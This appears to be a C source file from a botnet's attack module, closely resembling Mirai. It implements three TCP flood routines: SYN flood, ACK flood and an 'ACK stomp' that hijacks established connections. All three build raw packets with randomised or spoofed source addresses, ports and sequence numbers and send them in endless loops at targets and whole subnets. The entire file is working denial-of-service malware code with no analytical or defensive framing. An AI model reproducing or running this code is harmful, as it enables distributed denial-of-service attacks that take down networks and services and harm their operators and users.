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#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <fcntl.h>
#include <errno.h>
#include "includes.h"
#include "attack.h"
#include "checksum.h"
#include "rand.h"
void attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0);
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE);
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE);
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("Failed to create raw socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct tcphdr *tcph;
uint8_t *opts;
pkts[i] = calloc(128, sizeof (char));
iph = (struct iphdr *)pkts[i];
tcph = (struct tcphdr *)(iph + 1);
opts = (uint8_t *)(tcph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_TCP;
iph->saddr = source_ip;
iph->daddr = targs[i].addr;
tcph->source = htons(sport);
tcph->dest = htons(dport);
tcph->seq = htons(seq);
tcph->doff = 10;
tcph->urg = urg_fl;
tcph->ack = ack_fl;
tcph->psh = psh_fl;
tcph->rst = rst_fl;
tcph->syn = syn_fl;
tcph->fin = fin_fl;
// TCP MSS
*opts++ = PROTO_TCP_OPT_MSS; // Kind
*opts++ = 4; // Length
*((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f));
opts += sizeof (uint16_t);
// TCP SACK permitted
*opts++ = PROTO_TCP_OPT_SACK;
*opts++ = 2;
// TCP timestamps
*opts++ = PROTO_TCP_OPT_TSVAL;
*opts++ = 10;
*((uint32_t *)opts) = rand_next();
opts += sizeof (uint32_t);
*((uint32_t *)opts) = 0;
opts += sizeof (uint32_t);
// TCP nop
*opts++ = 1;
// TCP window scale
*opts++ = PROTO_TCP_OPT_WSS;
*opts++ = 3;
*opts++ = 6; // 2^6 = 64, window size scale = 64
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (source_ip == 0xffffffff)
iph->saddr = rand_next();
if (ip_ident == 0xffff)
iph->id = rand_next() & 0xffff;
if (sport == 0xffff)
tcph->source = rand_next() & 0xffff;
if (dport == 0xffff)
tcph->dest = rand_next() & 0xffff;
if (seq == 0xffff)
tcph->seq = rand_next();
if (ack == 0xffff)
tcph->ack_seq = rand_next();
if (urg_fl)
tcph->urg_ptr = rand_next() & 0xffff;
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20);
targs[i].sock_addr.sin_port = tcph->dest;
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
break;
if (errno != 0)
printf("errno = %d\n", errno);
#endif
}
}
void attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff);
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("Failed to create raw socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct tcphdr *tcph;
char *payload;
pkts[i] = calloc(1510, sizeof (char));
iph = (struct iphdr *)pkts[i];
tcph = (struct tcphdr *)(iph + 1);
payload = (char *)(tcph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_TCP;
iph->saddr = source_ip;
iph->daddr = targs[i].addr;
tcph->source = htons(sport);
tcph->dest = htons(dport);
tcph->seq = htons(seq);
tcph->doff = 5;
tcph->urg = urg_fl;
tcph->ack = ack_fl;
tcph->psh = psh_fl;
tcph->rst = rst_fl;
tcph->syn = syn_fl;
tcph->fin = fin_fl;
tcph->window = rand_next() & 0xffff;
if (psh_fl)
tcph->psh = TRUE;
rand_str(payload, data_len);
}
// targs[0].sock_addr.sin_port = tcph->dest;
// if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1)
// {
//
// }
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
char *data = (char *)(tcph + 1);
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (source_ip == 0xffffffff)
iph->saddr = rand_next();
if (ip_ident == 0xffff)
iph->id = rand_next() & 0xffff;
if (sport == 0xffff)
tcph->source = rand_next() & 0xffff;
if (dport == 0xffff)
tcph->dest = rand_next() & 0xffff;
if (seq == 0xffff)
tcph->seq = rand_next();
if (ack == 0xffff)
tcph->ack_seq = rand_next();
// Randomize packet content?
if (data_rand)
rand_str(data, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
targs[i].sock_addr.sin_port = tcph->dest;
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
break;
if (errno != 0)
printf("errno = %d\n", errno);
#endif
}
}
void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, rfd;
struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data));
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE);
BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768);
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
// Set up receive socket
if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("Could not open raw socket!\n");
#endif
return;
}
i = 1;
if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(rfd);
return;
}
// Retrieve all ACK/SEQ numbers
for (i = 0; i < targs_len; i++)
{
int fd;
struct sockaddr_in addr, recv_addr;
socklen_t recv_addr_len;
char pktbuf[256];
time_t start_recv;
stomp_setup_nums:
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
#ifdef DEBUG
printf("Failed to create socket!\n");
#endif
continue;
}
// Set it in nonblocking mode
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
// Set up address to connect to
addr.sin_family = AF_INET;
if (targs[i].netmask < 32)
addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
else
addr.sin_addr.s_addr = targs[i].addr;
if (dport == 0xffff)
addr.sin_port = rand_next() & 0xffff;
else
addr.sin_port = htons(dport);
// Actually connect, nonblocking
connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
start_recv = time(NULL);
// Get info
while (TRUE)
{
int ret;
recv_addr_len = sizeof (struct sockaddr_in);
ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);
if (ret == -1)
{
#ifdef DEBUG
printf("Could not listen on raw socket!\n");
#endif
return;
}
if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))
{
struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));
if (tcph->source == addr.sin_port)
{
if (tcph->syn && tcph->ack)
{
struct iphdr *iph;
struct tcphdr *tcph;
char *payload;
stomp_data[i].addr = addr.sin_addr.s_addr;
stomp_data[i].seq = ntohl(tcph->seq);
stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
stomp_data[i].sport = tcph->dest;
stomp_data[i].dport = addr.sin_port;
#ifdef DEBUG
printf("ACK Stomp got SYN+ACK!\n");
#endif
// Set up the packet
pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
iph = (struct iphdr *)pkts[i];
tcph = (struct tcphdr *)(iph + 1);
payload = (char *)(tcph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_TCP;
iph->saddr = LOCAL_ADDR;
iph->daddr = stomp_data[i].addr;
tcph->source = stomp_data[i].sport;
tcph->dest = stomp_data[i].dport;
tcph->seq = stomp_data[i].ack_seq;
tcph->ack_seq = stomp_data[i].seq;
tcph->doff = 8;
tcph->fin = TRUE;
tcph->ack = TRUE;
tcph->window = rand_next() & 0xffff;
tcph->urg = urg_fl;
tcph->ack = ack_fl;
tcph->psh = psh_fl;
tcph->rst = rst_fl;
tcph->syn = syn_fl;
tcph->fin = fin_fl;
rand_str(payload, data_len);
break;
}
else if (tcph->fin || tcph->rst)
{
close(fd);
goto stomp_setup_nums;
}
}
}
if (time(NULL) - start_recv > 10)
{
#ifdef DEBUG
printf("Couldn't connect to host for ACK Stomp in time. Retrying\n");
#endif
close(fd);
goto stomp_setup_nums;
}
}
}
// Start spewing out traffic
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
char *data = (char *)(tcph + 1);
if (ip_ident == 0xffff)
iph->id = rand_next() & 0xffff;
if (data_rand)
rand_str(data, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
tcph->seq = htons(stomp_data[i].seq++);
tcph->ack_seq = htons(stomp_data[i].ack_seq);
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
targs[i].sock_addr.sin_port = tcph->dest;
sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
break;
if (errno != 0)
printf("errno = %d\n", errno);
#endif
}
}